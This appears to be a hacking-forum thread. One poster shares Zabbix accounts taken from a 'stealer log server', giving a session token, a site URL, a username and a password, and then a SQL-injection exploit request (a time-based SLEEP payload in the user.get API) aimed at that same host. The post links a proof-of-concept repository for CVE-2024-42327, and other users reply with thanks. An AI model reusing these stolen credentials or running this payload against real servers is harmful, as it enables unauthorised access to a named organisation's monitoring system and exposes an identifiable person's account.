[tcpfuck]

Zabbix accounts that coming on my stealer log server today. All is active

Example: 

[+] Session token: 828ab805c61ade49415ea4e57829a288 https://zabbix.infowaycloud.com.br miguel.castellain S@nta799

Hidden Content

You must register or login to view this content.

Here is Exploit Request:

POST /api_jsonrpc.php HTTP/1.1 Host: zabbix.infowaycloud.com.br User-Agent: curl/8.11.0 Accept: */* Content-Type: application/json Content-Length: 222 Connection: keep-alive {   "jsonrpc": "2.0",   "method": "user.get",   "params": {     "selectRole": ["roleid", "name", "type", "readonly AND (SELECT(SLEEP(5)))"],     "userids": ["1","2"]   },   "id": 1,   "auth": "" }

Github repository of POC;

https://github.com/compr00t/CVE-2024-42327

[T0Manx00]

goood brooooooooooooo

[FrankAbagnale]

Thanks for this

[Psimaster3000]

Hope to discover something new here...